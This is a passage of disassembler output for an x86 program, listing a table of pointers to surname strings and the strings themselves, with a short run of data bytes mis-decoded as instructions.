		dd offset aTimmons	; "Timmons"
		dd offset aTofallis	; "Tofallis"
		dd offset aTollestrup	; "Tollestrup"
		dd offset aTolls	; "Tolls"
		dd offset aTolman	; "Tolman"
		dd offset aTomford	; "Tomford"
		dd offset aToomer	; "Toomer"
		dd offset aTopulos	; "Topulos"
		dd offset aTorresi	; "Torresi"
		dd offset aTorske	; "Torske"
		dd offset aTowler	; "Towler"
		dd offset aToye		; "Toye"
		dd offset aTraebert	; "Traebert"
		dd offset aTrenga	; "Trenga"
		dd offset aTrewin	; "Trewin"
		dd offset aTringali	; "Tringali"
		dd offset aTroiani	; "Troiani"
		dd offset aTroy		; "Troy"
		dd offset aTruss	; "Truss"
		dd offset aTsiatis	; "Tsiatis"
		dd offset aTsomides	; "Tsomides"
		dd offset aTsukurov	; "Tsukurov"
		dd offset aTuck		; "Tuck"
		dd offset aTudge	; "Tudge"
		dd offset aTukan	; "Tukan"
		dd offset aTurano	; "Turano"
		dd offset aTurek	; "Turek"
		dd offset aTuttle	; "Tuttle"
		dd offset aTwells	; "Twells"
		dd offset aTzamarias	; "Tzamarias"
		dd offset aUllman	; "Ullman"
		dd offset aUntermeyer	; "Untermeyer"
		dd offset aUpsdell	; "Upsdell"
		dd offset aUrban	; "Urban"
		dd offset aUrdangBrown	; "Urdang-Brown"
		dd offset aUsdan	; "Usdan"
		dd offset aUzuner	; "Uzuner"
		dd offset aVacca	; "Vacca"
		dd offset aWaite	; "Waite"
		dd offset aValberg	; "Valberg"
		dd offset aValencia	; "Valencia"
		dd offset aWales	; "Wales"
		dd offset aWallenberg	; "Wallenberg"
		dd offset aWalter	; "Walter"
		dd offset aVanallen	; "vanAllen"
		dd offset aVanzwet	; "VanZwet"
		dd offset aVandenberg	; "Vandenberg"
		dd offset aVanheeckeren	; "Vanheeckeren"
		dd offset aWarshafsky	; "Warshafsky"
		dd offset aWasowska	; "Wasowska"
		dd offset aVasquez	; "Vasquez"
		dd offset aWaugh	; "Waugh"
		dd offset aWeighart	; "Weighart"
		dd offset aWeingarten	; "Weingarten"
		dd offset aWeinhaus	; "Weinhaus"
		dd offset aWeissbourd	; "Weissbourd"
		dd offset aWeissman	; "Weissman"
		dd offset aVelasquez	; "Velasquez"
		dd offset aWelles	; "Welles"
		dd offset aWelsh	; "Welsh"
		dd offset aWengret	; "Wengret"
		dd offset aVenne	; "Venne"
		dd offset aVerghese	; "Verghese"
		dd offset aWescott	; "Wescott"
		dd offset aWetzel	; "Wetzel"
		dd offset aWhately	; "Whately"
		dd offset aWhilton	; "Whilton"
		dd offset aWhite	; "White"
		dd offset aWhitla	; "Whitla"
		dd offset aWhittaker	; "Whittaker"
		dd offset aViana	; "Viana"
		dd offset aViano	; "Viano"
		dd offset aWiedersheim	; "Wiedersheim"
		dd offset aWiener	; "Wiener"
		dd offset aViens	; "Viens"
		dd offset aVignola	; "Vignola"
		dd offset aWilder	; "Wilder"
		dd offset aWilhelm	; "Wilhelm"
		dd offset aWilk		; "Wilk"
		dd offset aWilkin	; "Wilkin"
		dd offset aWilkinson	; "Wilkinson"
		dd offset aVillarreal	; "Villarreal"
		dd offset aWillstatter	; "Willstatter"
		dd offset aWilson	; "Wilson"
		dd offset aVitali	; "Vitali"
		dd offset aViviani	; "Viviani"
		dd offset aVoigt	; "Voigt"
		dd offset aWolk		; "Wolk"
		dd offset aVonhoffman	; "VonHoffman"
		dd offset aWoo		; "Woo"
		dd offset aWooden	; "Wooden"
		dd offset aWoods	; "Woods"
		dd offset aWoodsPowell	; "Woods-Powell"
		dd offset aVorhaus	; "Vorhaus"
		dd offset aVotey	; "Votey"
		dd offset aYacono	; "Yacono"
		dd offset aYamane	; "Yamane"
		dd offset aYankee	; "Yankee"
		dd offset aYarchuk	; "Yarchuk"
		dd offset aYates	; "Yates"
		dd offset aYbarra	; "Ybarra"
		dd offset aYedidia	; "Yedidia"
		dd offset aYesson	; "Yesson"
		dd offset aYetiv	; "Yetiv"
		dd offset aYoffe	; "Yoffe"
		dd offset aYoo		; "Yoo"
		dd offset aYoukSee	; "Youk-See"
		dd offset aYu		; "Yu"
		dd offset aZachary	; "Zachary"
; ---------------------------------------------------------------------------
		and	ah, ch
		inc	edx
		add	[esp+ebp*8], dl
		inc	edx
		add	[esp+ebp*8], cl
		inc	edx
		add	[esp+ebp*8], al
		inc	edx
		add	ah, bh
		jmp	short loc_42EC09
; ---------------------------------------------------------------------------
		align 4
		dd offset aZucconi	; "Zucconi"
		dd offset aZurn		; "Zurn"
		dd offset aZwiers	; "Zwiers"
		dd offset aZytowski	; "Zytowski"
aZytowski	db 'Zytowski',0         ; DATA XREF: ___:0042EBD4o
		align 4
aZwiers		db 'Zwiers',0           ; DATA XREF: ___:0042EBD0o
		align 4
aZurn		db 'Zurn',0             ; DATA XREF: ___:0042EBCCo
		align 4
aZucconi	db 'Zucconi',0          ; DATA XREF: ___:0042EBC8o
aZoldak		db 'Zoldak',0
		align 4
		dd 6272655Ah
		db 69h
; ---------------------------------------------------------------------------


loc_42EC09:				; CODE XREF: ___:0042EBC5j
		outsb
		imul	eax, [eax], 6167655Ah
		outsb
		jnb	short $+2
		add	[edx+61h], bl
		outsb
		db	67h
		ja	near ptr 0EC83h
		insb
		insb
; ---------------------------------------------------------------------------
		dd 0
aZahedi		db 'Zahedi',0
		align 4
aZachary	db 'Zachary',0          ; DATA XREF: ___:0042EBB0o
aYu		db 'Yu',0               ; DATA XREF: ___:0042EBACo
		align 4
aYoukSee	db 'Youk-See',0         ; DATA XREF: ___:0042EBA8o
		align 10h
aYoo		db 'Yoo',0              ; DATA XREF: ___:0042EBA4o
aYoffe		db 'Yoffe',0            ; DATA XREF: ___:0042EBA0o
		align 4
aYetiv		db 'Yetiv',0            ; DATA XREF: ___:0042EB9Co
		align 4
aYesson		db 'Yesson',0           ; DATA XREF: ___:0042EB98o
		align 4
aYedidia	db 'Yedidia',0          ; DATA XREF: ___:0042EB94o
aYbarra		db 'Ybarra',0           ; DATA XREF: ___:0042EB90o
		align 4
aYates		db 'Yates',0            ; DATA XREF: ___:0042EB8Co
		align 4
aYarchuk	db 'Yarchuk',0          ; DATA XREF: ___:0042EB88o
aYankee		db 'Yankee',0           ; DATA XREF: ___:0042EB84o
		align 4
aYamane		db 'Yamane',0           ; DATA XREF: ___:0042EB80o
		align 4
aYacono		db 'Yacono',0           ; DATA XREF: ___:0042EB7Co
		align 4
aVotey		db 'Votey',0            ; DATA XREF: ___:0042EB78o
		align 4
aVorhaus	db 'Vorhaus',0          ; DATA XREF: ___:0042EB74o
aWoodsPowell	db 'Woods-Powell',0     ; DATA XREF: ___:0042EB70o
		align 4
aWoods		db 'Woods',0            ; DATA XREF: ___:0042EB6Co
		align 4
aWooden		db 'Wooden',0           ; DATA XREF: ___:0042EB68o
		align 4
aWoo		db 'Woo',0              ; DATA XREF: ___:0042EB64o
aVonhoffman	db 'VonHoffman',0       ; DATA XREF: ___:0042EB60o
		align 4
aWolk		db 'Wolk',0             ; DATA XREF: ___:0042EB5Co
		align 4
aVoigt		db 'Voigt',0            ; DATA XREF: ___:0042EB58o
		align 4
aViviani	db 'Viviani',0          ; DATA XREF: ___:0042EB54o
aVitali		db 'Vitali',0           ; DATA XREF: ___:0042EB50o
		align 4
aWilson		db 'Wilson',0           ; DATA XREF: ___:0042EB4Co
		align 4
aWillstatter	db 'Willstatter',0      ; DATA XREF: ___:0042EB48o
aVillarreal	db 'Villarreal',0       ; DATA XREF: ___:0042EB44o
		align 4
aWilkinson	db 'Wilkinson',0        ; DATA XREF: ___:0042EB40o
		align 10h
aWilkin		db 'Wilkin',0           ; DATA XREF: ___:0042EB3Co
		align 4
aWilk		db 'Wilk',0             ; DATA XREF: ___:0042EB38o
		align 10h
aWilhelm	db 'Wilhelm',0          ; DATA XREF: ___:0042EB34o
aWilder		db 'Wilder',0           ; DATA XREF: ___:0042EB30o
		align 10h
aVignola	db 'Vignola',0          ; DATA XREF: ___:0042EB2Co
aViens		db 'Viens',0            ; DATA XREF: ___:0042EB28o
		align 10h
aWiener		db 'Wiener',0           ; DATA XREF: ___:0042EB24o
		align 4
aWiedersheim	db 'Wiedersheim',0      ; DATA XREF: ___:0042EB20o
aViano		db 'Viano',0            ; DATA XREF: ___:0042EB1Co
		align 4
aViana		db 'Viana',0            ; DATA XREF: ___:0042EB18o
		align 4
aWhittaker	db 'Whittaker',0        ; DATA XREF: ___:0042EB14o
		align 10h
aWhitla		db 'Whitla',0           ; DATA XREF: ___:0042EB10o
		align 4
aWhite		db 'White',0            ; DATA XREF: ___:0042EB0Co
		align 10h
aWhilton	db 'Whilton',0          ; DATA XREF: ___:0042EB08o
aWhately	db 'Whately',0          ; DATA XREF: ___:0042EB04o
aWetzel		db 'Wetzel',0           ; DATA XREF: ___:0042EB00o
		align 4
aWescott	db 'Wescott',0          ; DATA XREF: ___:0042EAFCo
aVerghese	db 'Verghese',0         ; DATA XREF: ___:0042EAF8o
		align 4
aVenne		db 'Venne',0            ; DATA XREF: ___:0042EAF4o
		align 4
aWengret	db 'Wengret',0          ; DATA XREF: ___:0042EAF0o
aWelsh		db 'Welsh',0            ; DATA XREF: ___:0042EAECo
		align 4
aWelles		db 'Welles',0           ; DATA XREF: ___:0042EAE8o
		align 4
aVelasquez	db 'Velasquez',0        ; DATA XREF: ___:0042EAE4o
		align 4
aWeissman	db 'Weissman',0         ; DATA XREF: ___:0042EAE0o
		align 4
aWeissbourd	db 'Weissbourd',0       ; DATA XREF: ___:0042EADCo
		align 10h
aWeinhaus	db 'Weinhaus',0         ; DATA XREF: ___:0042EAD8o
		align 4
aWeingarten	db 'Weingarten',0       ; DATA XREF: ___:0042EAD4o
		align 4
aWeighart	db 'Weighart',0         ; DATA XREF: ___:0042EAD0o
		align 4
aWaugh		db 'Waugh',0            ; DATA XREF: ___:0042EACCo
		align 4
aVasquez	db 'Vasquez',0          ; DATA XREF: ___:0042EAC8o
aWasowska	db 'Wasowska',0         ; DATA XREF: ___:0042EAC4o
		align 10h
aWarshafsky	db 'Warshafsky',0       ; DATA XREF: ___:0042EAC0o
		align 4
aVanheeckeren	db 'Vanheeckeren',0     ; DATA XREF: ___:0042EABCo
		align 4
aVandenberg	db 'Vandenberg',0       ; DATA XREF: ___:0042EAB8o
		align 4
aVanzwet	db 'VanZwet',0          ; DATA XREF: ___:0042EAB4o
aVanallen	db 'vanAllen',0         ; DATA XREF: ___:0042EAB0o
		align 4
aWalter		db 'Walter',0           ; DATA XREF: ___:0042EAACo
		align 4
aWallenberg	db 'Wallenberg',0       ; DATA XREF: ___:0042EAA8o
		align 10h
aWales		db 'Wales',0            ; DATA XREF: ___:0042EAA4o
		align 4
aValencia	db 'Valencia',0         ; DATA XREF: ___:0042EAA0o
		align 4
aValberg	db 'Valberg',0          ; DATA XREF: ___:0042EA9Co
aWaite		db 'Waite',0            ; DATA XREF: ___:0042EA98o
		align 4
aVacca		db 'Vacca',0            ; DATA XREF: ___:0042EA94o
		align 4
aUzuner		db 'Uzuner',0           ; DATA XREF: ___:0042EA90o
		align 4
aUsdan		db 'Usdan',0            ; DATA XREF: ___:0042EA8Co
		align 4
aUrdangBrown	db 'Urdang-Brown',0     ; DATA XREF: ___:0042EA88o
		align 4
aUrban		db 'Urban',0            ; DATA XREF: ___:0042EA84o
		align 4
aUpsdell	db 'Upsdell',0          ; DATA XREF: ___:0042EA80o
aUntermeyer	db 'Untermeyer',0       ; DATA XREF: ___:0042EA7Co
		align 4
aUllman		db 'Ullman',0           ; DATA XREF: ___:0042EA78o
		align 10h
aTzamarias	db 'Tzamarias',0        ; DATA XREF: ___:0042EA74o
		align 4
aTwells		db 'Twells',0           ; DATA XREF: ___:0042EA70o
		align 4
aTuttle		db 'Tuttle',0           ; DATA XREF: ___:0042EA6Co
		align 4
aTurek		db 'Turek',0            ; DATA XREF: ___:0042EA68o
		align 4
aTurano		db 'Turano',0           ; DATA XREF: ___:0042EA64o
		align 4
aTukan		db 'Tukan',0            ; DATA XREF: ___:0042EA60o
		align 4
aTudge		db 'Tudge',0            ; DATA XREF: ___:0042EA5Co
		align 4
aTuck		db 'Tuck',0             ; DATA XREF: ___:0042EA58o
		align 4
aTsukurov	db 'Tsukurov',0         ; DATA XREF: ___:0042EA54o
		align 10h
aTsomides	db 'Tsomides',0         ; DATA XREF: ___:0042EA50o
		align 4
aTsiatis	db 'Tsiatis',0          ; DATA XREF: ___:0042EA4Co
aTruss		db 'Truss',0            ; DATA XREF: ___:0042EA48o
		align 4
aTroy		db 'Troy',0             ; DATA XREF: ___:0042EA44o
		align 4
aTroiani	db 'Troiani',0          ; DATA XREF: ___:0042EA40o
aTringali	db 'Tringali',0         ; DATA XREF: ___:0042EA3Co
		align 4
aTrewin		db 'Trewin',0           ; DATA XREF: ___:0042EA38o
		align 10h
aTrenga		db 'Trenga',0           ; DATA XREF: ___:0042EA34o
		align 4
aTraebert	db 'Traebert',0         ; DATA XREF: ___:0042EA30o
		align 4
aToye		db 'Toye',0             ; DATA XREF: ___:0042EA2Co
		align 4
aTowler		db 'Towler',0           ; DATA XREF: ___:0042EA28o
		align 4
aTorske		db 'Torske',0           ; DATA XREF: ___:0042EA24o
		align 4
aTorresi	db 'Torresi',0          ; DATA XREF: ___:0042EA20o
aTopulos	db 'Topulos',0          ; DATA XREF: ___:0042EA1Co
aToomer		db 'Toomer',0           ; DATA XREF: ___:0042EA18o
		align 4
aTomford	db 'Tomford',0          ; DATA XREF: ___:0042EA14o
aTolman		db 'Tolman',0           ; DATA XREF: ___:0042EA10o
		align 4
aTolls		db 'Tolls',0            ; DATA XREF: ___:0042EA0Co
		align 4
aTollestrup	db 'Tollestrup',0       ; DATA XREF: ___:0042EA08o
		align 4
aTofallis	db 'Tofallis',0         ; DATA XREF: ___:0042EA04o
		align 4
aTimmons	db 'Timmons',0          ; DATA XREF: ___:0042EA00o
aTill		db 'Till',0             ; DATA XREF: ___:0042E9FCo
		align 4
aTierney	db 'Tierney',0          ; DATA XREF: ___:0042E9F8o
aThroop		db 'Throop',0           ; DATA XREF: ___:0042E9F4o
		align 4
aThomsen	db 'Thomsen',0          ; DATA XREF: ___:0042E9F0o
aThisted	db 'Thisted',0          ; DATA XREF: ___:0042E9ECo
aThibault	db 'Thibault',0         ; DATA XREF: ___:0042E9E8o
		align 10h
aTheodos	db 'Theodos',0          ; DATA XREF: ___:0042E9E4o
aThavaneswaran	db 'Thavaneswaran',0    ; DATA XREF: ___:0042E9E0o
		align 4
aThan		db 'Than',0             ; DATA XREF: ___:0042E9DCo
		align 10h
aTerracini	db 'Terracini',0        ; DATA XREF: ___:0042E9D8o
		align 4
aTenney		db 'Tenney',0           ; DATA XREF: ___:0042E9D4o
		align 4
aTemmer		db 'Temmer',0           ; DATA XREF: ___:0042E9D0o
		align 4
aTemes		db 'Temes',0            ; DATA XREF: ___:0042E9CCo
		align 4
aTeague		db 'Teague',0           ; DATA XREF: ___:0042E9C8o
		align 4
aTcherepnin	db 'Tcherepnin',0       ; DATA XREF: ___:0042E9C4o
		align 4
aTawn		db 'Tawn',0             ; DATA XREF: ___:0042E9C0o
		align 10h
aTaveras	db 'Taveras',0          ; DATA XREF: ___:0042E9BCo
aTatar		db 'Tatar',0            ; DATA XREF: ___:0042E9B8o
		align 10h
aTanowitz	db 'Tanowitz',0         ; DATA XREF: ___:0042E9B4o
		align 4
aTandler	db 'Tandler',0          ; DATA XREF: ___:0042E9B0o
aTambiah	db 'Tambiah',0          ; DATA XREF: ___:0042E9ACo
aTalaugon	db 'Talaugon',0         ; DATA XREF: ___:0042E9A8o
		align 4
aTai		db 'Tai',0              ; DATA XREF: ___:0042E9A4o
aTagiuri	db 'Tagiuri',0          ; DATA XREF: ___:0042E9A0o
aSwindle	db 'Swindle',0          ; DATA XREF: ___:0042E99Co
aSweetser	db 'Sweetser',0         ; DATA XREF: ___:0042E998o
		align 4
aSweeting	db 'Sweeting',0         ; DATA XREF: ___:0042E994o
		align 4
aSurdam		db 'Surdam',0           ; DATA XREF: ___:0042E990o
		align 4
aSuo		db 'Suo',0              ; DATA XREF: ___:0042E98Co
aSumner		db 'Sumner',0           ; DATA XREF: ___:0042E988o
		align 4
aSullivan	db 'Sullivan',0         ; DATA XREF: ___:0042E984o
		align 4
aStringer	db 'Stringer',0         ; DATA XREF: ___:0042E980o
		align 10h
aStreiff	db 'Streiff',0          ; DATA XREF: ___:0042E97Co
aStrauch	db 'Strauch',0          ; DATA XREF: ___:0042E978o
aStrange	db 'Strange',0          ; DATA XREF: ___:0042E974o
aStott		db 'Stott',0            ; DATA XREF: ___:0042E970o
		align 10h
aStorer		db 'Storer',0           ; DATA XREF: ___:0042E96Co
		align 4
aStonich	db 'Stonich',0          ; DATA XREF: ___:0042E968o
aStolzenberg	db 'Stolzenberg',0      ; DATA XREF: ___:0042E964o
aStockwell	db 'Stockwell',0        ; DATA XREF: ___:0042E960o
		align 4
aStockton	db 'Stockton',0         ; DATA XREF: ___:0042E95Co
		align 4
aStock		db 'Stock',0            ; DATA XREF: ___:0042E958o
		align 4
aStillwell	db 'Stillwell',0        ; DATA XREF: ___:0042E954o
		align 4
aStiepock	db 'Stiepock',0         ; DATA XREF: ___:0042E950o
		align 4
aStewartOaten	db 'Stewart-Oaten',0    ; DATA XREF: ___:0042E94Co
		align 4
aStepniewska	db 'Stepniewska',0      ; DATA XREF: ___:0042E948o
aStephanian	db 'Stephanian',0       ; DATA XREF: ___:0042E944o
		align 4
aSteiner	db 'Steiner',0          ; DATA XREF: ___:0042E940o
aStefani	db 'Stefani',0          ; DATA XREF: ___:0042E93Co
aStatlender	db 'Statlender',0       ; DATA XREF: ___:0042E938o
		align 4
aStates		db 'States',0           ; DATA XREF: ___:0042E934o
		align 10h
aStassinopolus	db 'Stassinopolus',0    ; DATA XREF: ___:0042E930o
		align 10h
aStang		db 'Stang',0            ; DATA XREF: ___:0042E92Co
		align 4
aStam		db 'Stam',0             ; DATA XREF: ___:0042E928o
		align 10h
aStalvey	db 'Stalvey',0          ; DATA XREF: ___:0042E924o
aStmartin	db 'StMartin',0         ; DATA XREF: ___:0042E920o
		align 4
aSpinrad	db 'Spinrad',0          ; DATA XREF: ___:0042E91Co
aSpiliotis	db 'Spiliotis',0        ; DATA XREF: ___:0042E918o
		align 4
aSpiegelhalter	db 'Spiegelhalter',0    ; DATA XREF: ___:0042E914o
		align 4
aSpicer		db 'Spicer',0           ; DATA XREF: ___:0042E910o
		align 10h
aSperber	db 'Sperber',0          ; DATA XREF: ___:0042E90Co
aSpence		db 'Spence',0           ; DATA XREF: ___:0042E908o
		align 10h
aSpeizer	db 'Speizer',0          ; DATA XREF: ___:0042E904o
aSpaulding	db 'Spaulding',0        ; DATA XREF: ___:0042E900o
		align 4
aSparrow	db 'Sparrow',0          ; DATA XREF: ___:0042E8FCo
aSpanier	db 'Spanier',0          ; DATA XREF: ___:0042E8F8o
aSoultanian	db 'Soultanian',0       ; DATA XREF: ___:0042E8F4o
		align 10h
aSoule		db 'Soule',0            ; DATA XREF: ___:0042E8F0o
		align 4
aSoukup		db 'Soukup',0           ; DATA XREF: ___:0042E8ECo
		align 10h
aSottak		db 'Sottak',0           ; DATA XREF: ___:0042E8E8o
		align 4
aSorg		db 'Sorg',0             ; DATA XREF: ___:0042E8E4o
		align 10h
aSorabella	db 'Sorabella',0        ; DATA XREF: ___:0042E8E0o
		align 4
aSommariva	db 'Sommariva',0        ; DATA XREF: ___:0042E8DCo
		align 4
aSomers		db 'Somers',0           ; DATA XREF: ___:0042E8D8o
		align 10h
aSolon		db 'Solon',0            ; DATA XREF: ___:0042E8D4o
		align 4
aSocolow	db 'Socolow',0          ; DATA XREF: ___:0042E8D0o
aSnodgrass	db 'Snodgrass',0        ; DATA XREF: ___:0042E8CCo
		align 4
aSniffen	db 'Sniffen',0          ; DATA XREF: ___:0042E8C8o
aSmilow		db 'Smilow',0           ; DATA XREF: ___:0042E8C4o
		align 4
aSlowe		db 'Slowe',0            ; DATA XREF: ___:0042E8C0o
		align 4
aSloan		db 'Sloan',0            ; DATA XREF: ___:0042E8BCo
		align 4
aSkoda		db 'Skoda',0            ; DATA XREF: ___:0042E8B8o
		align 4
aSkerry		db 'Skerry',0           ; DATA XREF: ___:0042E8B4o
		align 4
aSkane		db 'Skane',0            ; DATA XREF: ___:0042E8B0o
		align 4
aSites		db 'Sites',0            ; DATA XREF: ___:0042E8ACo
		align 4
aSirilli	db 'Sirilli',0          ; DATA XREF: ___:0042E8A8o
aSinsabaugh	db 'Sinsabaugh',0       ; DATA XREF: ___:0042E8A4o
		align 10h
aSilvetti	db 'Silvetti',0         ; DATA XREF: ___:0042E8A0o
		align 4
aSilverman	db 'Silverman',0        ; DATA XREF: ___:0042E89Co
		align 4
aSigna		db 'Signa',0            ; DATA XREF: ___:0042E898o
		align 10h
aSigini		db 'Sigini',0           ; DATA XREF: ___:0042E894o
		align 4
aSigalot	db 'Sigalot',0          ; DATA XREF: ___:0042E890o
aSiesto		db 'Siesto',0           ; DATA XREF: ___:0042E88Co
		align 4
aShimon		db 'Shimon',0           ; DATA XREF: ___:0042E888o
		align 10h
aShibata	db 'Shibata',0          ; DATA XREF: ___:0042E884o
aShia		db 'Shia',0             ; DATA XREF: ___:0042E880o
		align 10h
aShesko		db 'Shesko',0           ; DATA XREF: ___:0042E87Co
		align 4
aShepstone	db 'Shepstone',0        ; DATA XREF: ___:0042E878o
		align 4
aSheppard	db 'Sheppard',0         ; DATA XREF: ___:0042E874o
		align 10h
aShepherd	db 'Shepherd',0         ; DATA XREF: ___:0042E870o
		align 4
aSheats		db 'Sheats',0           ; DATA XREF: ___:0042E86Co
		align 4
aShea		db 'Shea',0             ; DATA XREF: ___:0042E868o
		align 4
aShavelson	db 'Shavelson',0        ; DATA XREF: ___:0042E864o
		align 4
aShatrov	db 'Shatrov',0          ; DATA XREF: ___:0042E860o
aShar		db 'Shar',0             ; DATA XREF: ___:0042E85Co
		align 4
aShanley	db 'Shanley',0          ; DATA XREF: ___:0042E858o
aShankland	db 'Shankland',0        ; DATA XREF: ___:0042E854o
		align 4
aShakis		db 'Shakis',0           ; DATA XREF: ___:0042E850o
		align 4
aShaikh		db 'Shaikh',0           ; DATA XREF: ___:0042E84Co
		align 4
aSeyfert	db 'Seyfert',0          ; DATA XREF: ___:0042E848o
aSexton		db 'Sexton',0           ; DATA XREF: ___:0042E844o
		align 4
aSeterdahl	db 'Seterdahl',0        ; DATA XREF: ___:0042E840o
		align 4
aSennett	db 'Sennett',0          ; DATA XREF: ___:0042E83Co
aSen		db 'Sen',0              ; DATA XREF: ___:0042E838o
aSelvage	db 'Selvage',0          ; DATA XREF: ___:0042E834o
aSekler		db 'Sekler',0           ; DATA XREF: ___:0042E830o
		align 4
aSegal		db 'Segal',0            ; DATA XREF: ___:0042E82Co
		align 4
aSeeber		db 'Seeber',0           ; DATA XREF: ___:0042E828o
		align 4
aSeaton		db 'Seaton',0           ; DATA XREF: ___:0042E824o
		align 4
aScudder	db 'Scudder',0          ; DATA XREF: ___:0042E820o
aScovel		db 'Scovel',0           ; DATA XREF: ___:0042E81Co
		align 4
aSchwickrath	db 'Schwickrath',0      ; DATA XREF: ___:0042E818o
aSchwan		db 'Schwan',0           ; DATA XREF: ___:0042E814o
		align 10h
aSchuyler	db 'Schuyler',0         ; DATA XREF: ___:0042E810o
		align 4
aSchutte	db 'Schutte',0          ; DATA XREF: ___:0042E80Co
aSchuman	db 'Schuman',0          ; DATA XREF: ___:0042E808o
aSchossberger	db 'Schossberger',0     ; DATA XREF: ___:0042E804o
		align 4
aSchmitt	db 'Schmitt',0          ; DATA XREF: ___:0042E800o
aSchilling	db 'Schilling',0        ; DATA XREF: ___:0042E7FCo
		align 10h
aSchifini	db 'Schifini',0         ; DATA XREF: ___:0042E7F8o
		align 4
aSchiano	db 'Schiano',0          ; DATA XREF: ___:0042E7F4o
aScheiner	db 'Scheiner',0         ; DATA XREF: ___:0042E7F0o
		align 10h
aScharlemann	db 'Scharlemann',0      ; DATA XREF: ___:0042E7ECo
aScharf		db 'Scharf',0           ; DATA XREF: ___:0042E7E8o
		align 4
aScepan		db 'Scepan',0           ; DATA XREF: ___:0042E7E4o
		align 4
aScarponi	db 'Scarponi',0         ; DATA XREF: ___:0042E7E0o
		align 4
aSayied		db 'Sayied',0           ; DATA XREF: ___:0042E7DCo
		align 10h
aSawtell	db 'Sawtell',0          ; DATA XREF: ___:0042E7D8o
aSatterthwaite	db 'Satterthwaite',0    ; DATA XREF: ___:0042E7D4o
		align 4
aSatta		db 'Satta',0            ; DATA XREF: ___:0042E7D0o
		align 10h
aSatin		db 'Satin',0            ; DATA XREF: ___:0042E7CCo
		align 4
aSase		db 'Sase',0             ; DATA XREF: ___:0042E7C8o
		align 10h
aSartore	db 'Sartore',0          ; DATA XREF: ___:0042E7C4o
aSarin		db 'Sarin',0            ; DATA XREF: ___:0042E7C0o
		align 10h
aSapers		db 'Sapers',0           ; DATA XREF: ___:0042E7BCo
		align 4
aSanna		db 'Sanna',0            ; DATA XREF: ___:0042E7B8o
		align 10h
aSanchezRamirez	db 'Sanchez-Ramirez',0  ; DATA XREF: ___:0042E7B4o
aSamson		db 'Samson',0           ; DATA XREF: ___:0042E7B0o
		align 4
aSali		db 'Sali',0             ; DATA XREF: ___:0042E7ACo
		align 10h
aSahu		db 'Sahu',0             ; DATA XREF: ___:0042E7A8o
		align 4
aSafire		db 'Safire',0           ; DATA XREF: ___:0042E7A4o
		align 10h
aSadler		db 'Sadler',0           ; DATA XREF: ___:0042E7A0o
		align 4
aSabatello	db 'Sabatello',0        ; DATA XREF: ___:0042E79Co
		align 4
aRyu		db 'Ryu',0              ; DATA XREF: ___:0042E798o
aRush		db 'Rush',0             ; DATA XREF: ___:0042E794o
		align 10h
aRuescher	db 'Ruescher',0         ; DATA XREF: ___:0042E790o
		align 4
aRuderman	db 'Ruderman',0         ; DATA XREF: ___:0042E78Co
		align 4
aRuan		db 'Ruan',0             ; DATA XREF: ___:0042E788o
		align 10h
aRu		db 'Ru',0               ; DATA XREF: ___:0042E784o
		align 4
aRoyal		db 'Royal',0            ; DATA XREF: ___:0042E780o
		align 4
aRow		db 'Row',0              ; DATA XREF: ___:0042E77Co
aRonen		db 'Ronen',0            ; DATA XREF: ___:0042E778o
		align 4
aRogers		db 'Rogers',0           ; DATA XREF: ___:0042E774o
		align 10h
aRoesler	db 'Roesler',0          ; DATA XREF: ___:0042E770o
aRocha		db 'Rocha',0            ; DATA XREF: ___:0042E76Co
		align 10h
aRobinson	db 'Robinson',0         ; DATA XREF: ___:0042E768o
		align 4
aRivera		db 'Rivera',0           ; DATA XREF: ___:0042E764o
		align 4
aRish		db 'Rish',0             ; DATA XREF: ___:0042E760o
		align 4
aRineer		db 'Rineer',0           ; DATA XREF: ___:0042E75Co
		align 4
aRindos		db 'Rindos',0           ; DATA XREF: ___:0042E758o
		align 4
aRielly		db 'Rielly',0           ; DATA XREF: ___:0042E754o
		align 4
aRichmond	db 'Richmond',0         ; DATA XREF: ___:0042E750o
		align 10h
aRhea		db 'Rhea',0             ; DATA XREF: ___:0042E74Co
		align 4
aResnik		db 'Resnik',0           ; DATA XREF: ___:0042E748o
		align 10h
aRepetto	db 'Repetto',0          ; DATA XREF: ___:0042E744o
aRenick		db 'Renick',0           ; DATA XREF: ___:0042E740o
		align 10h
aRemak		db 'Remak',0            ; DATA XREF: ___:0042E73Co
		align 4
aReinold	db 'Reinold',0          ; DATA XREF: ___:0042E738o
aCunningham	db 'Cunningham',0       ; DATA XREF: ___:0042E734o
		align 4
aReedquist	db 'Reedquist',0        ; DATA XREF: ___:0042E730o
		align 4
aReddenTyler	db 'Redden-Tyler',0     ; DATA XREF: ___:0042E72Co
		align 4
aRayport	db 'Rayport',0          ; DATA XREF: ___:0042E728o
aRapple		db 'Rapple',0           ; DATA XREF: ___:0042E724o
		align 4
aRankin		db 'Rankin',0           ; DATA XREF: ___:0042E720o
		align 10h
aRangan		db 'Rangan',0           ; DATA XREF: ___:0042E71Co
		align 4
aRaney		db 'Raney',0            ; DATA XREF: ___:0042E718o
		align 10h
aRajagopalan	db 'Rajagopalan',0      ; DATA XREF: ___:0042E714o
aRadeke		db 'Radeke',0           ; DATA XREF: ___:0042E710o
		align 4
aRabkin		db 'Rabkin',0           ; DATA XREF: ___:0042E70Co
		align 4
aRabe		db 'Rabe',0             ; DATA XREF: ___:0042E708o
		align 4
aQuetin		db 'Quetin',0           ; DATA XREF: ___:0042E704o
		align 4
aQuaday		db 'Quaday',0           ; DATA XREF: ___:0042E700o
		align 4
aPynchon	db 'Pynchon',0          ; DATA XREF: ___:0042E6FCo
aPugh		db 'Pugh',0             ; DATA XREF: ___:0042E6F8o
		align 4
aPuccia		db 'Puccia',0           ; DATA XREF: ___:0042E6F4o
		align 4
aProthrowStith	db 'Prothrow-Stith',0   ; DATA XREF: ___:0042E6F0o
		align 4
aProietti	db 'Proietti',0         ; DATA XREF: ___:0042E6ECo
		align 4
aPritz		db 'Pritz',0            ; DATA XREF: ___:0042E6E8o
		align 10h
aPritchard	db 'Pritchard',0        ; DATA XREF: ___:0042E6E4o
		align 4
aPrevost	db 'Prevost',0          ; DATA XREF: ___:0042E6E0o
aPreucel	db 'Preucel',0          ; DATA XREF: ___:0042E6DCo
aPresper	db 'Presper',0          ; DATA XREF: ___:0042E6D8o
aPowers		db 'Powers',0           ; DATA XREF: ___:0042E6D4o
		align 4
aPoolman	db 'Poolman',0          ; DATA XREF: ___:0042E6D0o
aPoma		db 'Poma',0             ; DATA XREF: ___:0042E6CCo
		align 4
aPolitis	db 'Politis',0          ; DATA XREF: ___:0042E6C8o
